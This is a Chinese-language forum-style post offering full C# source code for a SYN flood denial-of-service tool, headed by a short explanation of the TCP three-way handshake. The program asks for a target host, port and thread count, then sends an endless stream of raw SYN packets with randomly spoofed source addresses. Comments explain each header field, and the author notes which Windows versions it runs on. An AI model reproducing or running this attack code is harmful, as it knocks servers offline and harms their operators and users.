c#编写的ddos源码
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win98 winme无效,winxpsp2估计也不行 sp1就可 2000 2003完全可以
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tcp协议是3次握手的方式连接的,第一次客户机向服务器发送一个标志为syn的数据包,这个数据包的tcp部分有个16位随即序列号,而且ip部分和tcp部分各有一个校验码,发送出去只有校验码正确才会视为合法的数据包,然后如果那个机器那个端口有服务器,比如http服务,就会把序列号+1,然后再生成一个16位随机序列号,标志syn+ack的数据包返回,服务器就会占着一个信道等待第三次握手了,如果超过预定时间等不到就超时去掉了,这时如果开始那个syn的源ip地址和源端口是伪造的并大量发送,服务器就会大量的向假ip端口返回syn+ack并等待,这样就大量占着信道了,如果超过了连接限制,别的机器就连不上了,就拒绝服务了。原理大体就是这个样子了。下面就是代码。
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*/
//太上老君
//http://www.laotzu.be
//必须在项目属性里把允许不安全代码设为true才可编译
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
//需要的命名空间不用解释了吧
namespace syn
{
public struct ipHeader
{
public byte ip_verlen; //4位首部长度+4位IP版本号
public byte ip_tos; //8位服务类型TOS
public ushort ip_totallength; //16位数据包总长度(字节)
public ushort ip_id; //16位标识
public ushort ip_offset; //3位标志位
public byte ip_ttl; //8位生存时间 TTL
public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
public ushort ip_checksum; //16位IP首部校验和
public uint ip_srcaddr; //32位源IP地址
public uint ip_destaddr; //32位目的IP地址
}
public struct psdHeader
{
public uint saddr; //源地址
public uint daddr; //目的地址
public byte mbz;
public byte ptcl; //协议类型
public ushort tcpl; //TCP长度
}
public struct tcpHeader
{
public ushort th_sport; //16位源端口
public ushort th_dport; //16位目的端口
public int th_seq; //32位序列号
public uint th_ack; //32位确认号
public byte th_lenres; //4位首部长度/6位保留字
public byte th_flag; //6位标志位
public ushort th_win; //16位窗口大小
public ushort th_sum; //16位校验和
public ushort th_urp; //16位紧急数据偏移量
}
//这3个是ip首部tcp伪首部tcp首部的定义。
public class syn
{
private uint ip;
private ushort port;
private EndPoint ep;
private Random rand;
private Socket sock;
private ipHeader iph;
private psdHeader psh;
private tcpHeader tch;
public UInt16 checksum( UInt16[] buffer, int size )
{
Int32 cksum = 0;
int counter;
counter = 0;
while ( size > 0 )
{
UInt16 val = buffer[counter];
cksum += Convert.ToInt32( buffer[counter] );
counter += 1;
size -= 1;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
//这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样
public syn(uint _ip,ushort _port,EndPoint _ep,Random _rand)
{
ip=_ip;
port=_port;
ep=_ep;
rand=_rand;
ipHeader iph=new ipHeader();
psh=new psdHeader();
tch=new tcpHeader();
sock=new Socket(AddressFamily.InterNetwork,SocketType.Raw,ProtocolType.IP);
sock.SetSocketOption(SocketOptionLevel.IP,SocketOptionName.HeaderIncluded,1);
//这2个挺重要,必须这样才可以自己提供ip头
}
//传参数的多线程需要用到代构造函数的对象。
static void Main(string[] args)
{
Console.WriteLine("1、输入攻击ip或域名");
try
{
IPHostEntry pe=Dns.GetHostByName(Console.ReadLine());
uint ip=Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序
Console.WriteLine("2、输入攻击端口");
ushort port=ushort.Parse(Console.ReadLine());
IPEndPoint ep=new IPEndPoint(pe.AddressList[0],port);
byte[] bt=BitConverter.GetBytes(port);
Array.Reverse(bt);
port=BitConverter.ToUInt16(bt,0);
//要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样
Console.WriteLine("3、输入攻击线程,最多50个");
int xiancheng=Int32.Parse(Console.ReadLine());
if(xiancheng<1 || xiancheng>50)
{
Console.WriteLine("必须在1到50之间");
return;
}
Random rand=new Random();
Thread[] t=new Thread[xiancheng];
syn[] sy=new syn[xiancheng];
for(int i=0;i<xiancheng;i++)
{
sy[i]=new syn(ip,port,ep,rand);
t[i]=new Thread(new ThreadStart(sy[i].synFS));
t[i].Start();
}
//一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊
}
catch
{
Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");
return;
}
}
unsafe public void synFS()
{
iph.ip_verlen=(byte)(4<<4 | sizeof(ipHeader)/sizeof(uint));
//ipv4,20字节ip头,这个固定就是69
iph.ip_tos =0;
//这个0就行了
iph.ip_totallength=0x2800;
//这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800
iph.ip_id=0x9B18;
//这个我是拦截ie发送。直接添上来了
iph.ip_offset=0x40;
//这个也是拦截ie的
iph.ip_ttl=64;
//也是拦截ie的,也可以是128什么的。
iph.ip_protocol=6;
//6就是tcp协议
iph.ip_checksum=UInt16.Parse("0");
//没计算之前都写0
iph.ip_destaddr=ip;
//ip头的目标地址就是要攻击的地址,上面传过来的。
psh.daddr=iph.ip_destaddr;
//伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。
psh.mbz=0;
//这个据说0就行
psh.ptcl=6;
//6是tcp协议
psh.tcpl=0x1400;
//tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400
tch.th_dport=port;
//攻击端口号,上面传过来的
tch.th_ack=0;
//第一次发送所以没有服务器返回的序列号,为0
tch.th_lenres=(byte)((sizeof(tcpHeader)/4<<4|0));
//tcp长度
tch.th_flag=2;
//2就是syn
tch.th_win=ushort.Parse("16614");
//拦截ie的
tch.th_sum=UInt16.Parse("0");
//没计算之前都为0
tch.th_urp=UInt16.Parse("0");
//这个连ip都是0,新的攻击方法有改这个值的
while(true)
{
iph.ip_srcaddr=Convert.ToUInt32(IPAddress.Parse(rand.Next(1,255)+"."+rand.Next(1,255)+"."+rand.Next(1,255)+"."+rand.Next(1,255)).Address );
psh.saddr=iph.ip_srcaddr;
ushort duankou=Convert.ToUInt16(rand.Next(1,65535));
byte[] bt=BitConverter.GetBytes(duankou);
Array.Reverse(bt);
tch.th_sport=BitConverter.ToUInt16(bt,0);
tch.th_seq=IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646,2147483646));
//上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序
iph.ip_checksum=0;
tch.th_sum=0;
//因为循环中,所以每次必须把这2个已有数的清0才可计算
byte[] psh_buf=new byte[sizeof(psdHeader)];
Int32 index=0;
index=pshto(psh,psh_buf,sizeof(psdHeader));
if(index==-1)
{
Console.WriteLine("构造tcp伪首部错误");
return;
}
index=0;
byte[] tch_buf=new byte[sizeof(tcpHeader)];
index=tchto(tch,tch_buf,sizeof(tcpHeader));
if(index==-1)
{
Console.WriteLine("构造tcp首部错误1");
return;
}
index=0;
byte[] tcphe=new byte[sizeof(psdHeader)+sizeof(tcpHeader)];
Array.Copy(psh_buf,0,tcphe,index,psh_buf.Length);
index+=psh_buf.Length;
Array.Copy(tch_buf,0,tcphe,index,tch_buf.Length);
index+=tch_buf.Length;
tch.th_sum=chec(tcphe,index);
index=0;
index=tchto(tch,tch_buf,sizeof(tcpHeader));
if(index==-1)
{
Console.WriteLine("构造tcp首部错误2");
return;
}
index=0;
byte[] ip_buf=new byte[sizeof(ipHeader)];
index=ipto(iph,ip_buf,sizeof(ipHeader));
if(index==-1)
{
Console.WriteLine("构造ip首部错误1");
return;
}
index=0;
byte[] iptcp=new byte[sizeof(ipHeader)+sizeof(tcpHeader)];
Array.Copy(ip_buf,0,iptcp,index,ip_buf.Length);
index+=ip_buf.Length;
Array.Copy(tch_buf,0,iptcp,index,tch_buf.Length);
index+=tch_buf.Length;
iph.ip_checksum=chec(iptcp,index);
index=0;
index=ipto(iph,ip_buf,sizeof(tcpHeader));
if(index==-1)
{
Console.WriteLine("构造ip首部错误2");
return;
}
index=0;
Array.Copy(ip_buf,0,iptcp,index,ip_buf.Length);
index+=ip_buf.Length;
Array.Copy(tch_buf,0,iptcp,index,tch_buf.Length);
index+=tch_buf.Length;
if(iptcp.Length!=(sizeof(ipHeader)+sizeof(tcpHeader)))
{
Console.WriteLine("构造iptcp报文错误");
return;
}
//上面这一大堆东西就是计算校验和的方法了,方法是
//1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和
//2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节
//3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和
//4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦
try
{
sock.SendTo(iptcp,ep);
//构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了
}
catch
{
Console.WriteLine("发送错误");
return;
}
}
}
public UInt16 chec(byte[] buffer,int size)
{
Double double_length = Convert.ToDouble(size);
Double dtemp = Math.Ceiling( double_length / 2);
int cksum_buffer_length = Convert.ToInt32(dtemp);
UInt16 [] cksum_buffer = new UInt16[cksum_buffer_length];
int icmp_header_buffer_index = 0;
for( int i = 0; i < cksum_buffer_length; i++ )
{
cksum_buffer[i] =
BitConverter.ToUInt16(buffer,icmp_header_buffer_index);
icmp_header_buffer_index += 2;
}
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
return u_cksum;
}
//这个是计算校验,把那些类型不一样的全转为16位字节数组用的
public Int32 ipto(ipHeader iph,byte[] Buffer,int size)
{
Int32 rtn=0;
int index=0;
byte[] b_verlen=new byte[1];
b_verlen[0]=iph.ip_verlen;
byte[] b_tos=new byte[1];
b_tos[0]=iph.ip_tos;
byte[] b_totallen=BitConverter.GetBytes(iph.ip_totallength );
byte[] b_id=BitConverter.GetBytes(iph.ip_id );
byte[] b_offset=BitConverter.GetBytes(iph.ip_offset );
byte[] b_ttl=new byte[1];
b_ttl[0]=iph.ip_ttl;
byte[] b_protol=new byte[1];
b_protol[0]=iph.ip_protocol;
byte[] b_checksum=BitConverter.GetBytes(iph.ip_checksum );
byte[] b_srcaddr=BitConverter.GetBytes(iph.ip_srcaddr );
byte[] b_destaddr=BitConverter.GetBytes(iph.ip_destaddr );
Array.Copy(b_verlen,0,Buffer,index,b_verlen.Length);
index+=b_verlen.Length;
Array.Copy(b_tos,0,Buffer,index,b_tos.Length );
index+=b_tos.Length;
Array.Copy(b_totallen,0,Buffer,index,b_totallen.Length );
index+=b_totallen.Length;
Array.Copy(b_id,0,Buffer,index,b_id.Length);
index+=b_id.Length;
Array.Copy(b_offset,0,Buffer,index,b_offset.Length);
index+=b_offset.Length;
Array.Copy(b_ttl,0,Buffer,index,b_ttl.Length);
index+=b_ttl.Length;
Array.Copy(b_protol,0,Buffer,index,b_protol.Length);
index+=b_protol.Length;
Array.Copy(b_checksum,0,Buffer,index,b_checksum.Length);
index+=b_checksum.Length;
Array.Copy(b_srcaddr,0,Buffer,index,b_srcaddr.Length);
index+=b_srcaddr.Length;
Array.Copy(b_destaddr,0,Buffer,index,b_destaddr.Length);
index+=b_destaddr.Length;
if( index != size/* sizeof(IcmpPacket) */)
{
rtn = -1;
return rtn;
}
rtn = index;
return rtn;
}
//这个是把ip部分转为字节数组用的
public Int32 pshto(psdHeader psh,byte[] buffer,int size)
{
Int32 rtn;
int index=0;
byte[] b_psh_saddr=BitConverter.GetBytes(psh.saddr );
byte[] b_psh_daddr=BitConverter.GetBytes(psh.daddr );
byte[] b_psh_mbz=new byte[1];
b_psh_mbz[0]=psh.mbz;
byte[] b_psh_ptcl=new byte[1];
b_psh_ptcl[0]=psh.ptcl;
byte[] b_psh_tcpl=BitConverter.GetBytes(psh.tcpl );
Array.Copy(b_psh_saddr,0,buffer,index,b_psh_saddr.Length );
index+=b_psh_saddr.Length;
Array.Copy(b_psh_daddr,0,buffer,index,b_psh_daddr.Length );
index+=b_psh_daddr.Length;
Array.Copy(b_psh_mbz,0,buffer,index,b_psh_mbz.Length);
index+=b_psh_mbz.Length;
Array.Copy(b_psh_ptcl,0,buffer,index,b_psh_ptcl.Length );
index+=b_psh_ptcl.Length;
Array.Copy(b_psh_tcpl,0,buffer,index,b_psh_tcpl.Length );
index+=b_psh_tcpl.Length;
if(index!=size)
{
rtn=-1;
return rtn;
}
else
{
rtn=index;
return rtn;
}
}
//这个是把tcp伪首部转为字节数组用的
public Int32 tchto(tcpHeader tch,byte[] buffer,int size)
{
Int32 rtn;
int index=0;
byte[] b_tch_sport=BitConverter.GetBytes(tch.th_sport );
byte[] b_tch_dport=BitConverter.GetBytes(tch.th_dport );
byte[] b_tch_seq=BitConverter.GetBytes(tch.th_seq );
byte[] b_tch_ack=BitConverter.GetBytes(tch.th_ack );
byte[] b_tch_lenres=new byte[1];
b_tch_lenres[0]=tch.th_lenres;
byte[] b_tch_flag=new byte[1];
b_tch_flag[0]=tch.th_flag;
byte[] b_tch_win=BitConverter.GetBytes(tch.th_win );
byte[] b_tch_sum=BitConverter.GetBytes(tch.th_sum );
byte[] b_tch_urp=BitConverter.GetBytes(tch.th_urp );
Array.Copy(b_tch_sport,0,buffer,index,b_tch_sport.Length);
index+=b_tch_sport.Length;
Array.Copy(b_tch_dport,0,buffer,index,b_tch_dport.Length);
index+=b_tch_dport.Length;
Array.Copy(b_tch_seq,0,buffer,index,b_tch_seq.Length);
index+=b_tch_seq.Length;
Array.Copy(b_tch_ack,0,buffer,index,b_tch_ack.Length);
index+=b_tch_ack.Length;
Array.Copy(b_tch_lenres,0,buffer,index,b_tch_lenres.Length);
index+=b_tch_lenres.Length;
Array.Copy(b_tch_flag,0,buffer,index,b_tch_flag.Length);
index+=b_tch_flag.Length;
Array.Copy(b_tch_win,0,buffer,index,b_tch_win.Length);
index+=b_tch_win.Length;
Array.Copy(b_tch_sum,0,buffer,index,b_tch_sum.Length);
index+=b_tch_sum.Length;
Array.Copy(b_tch_urp,0,buffer,index,b_tch_urp.Length);
index+=b_tch_urp.Length;
if(index!=size)
{
rtn=-1;
return rtn;
}
else
{
rtn=index;
return rtn;
}
}
//这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。
}
}
//最后,本代码校验部分的方法参考了用c#实现ping程序的文章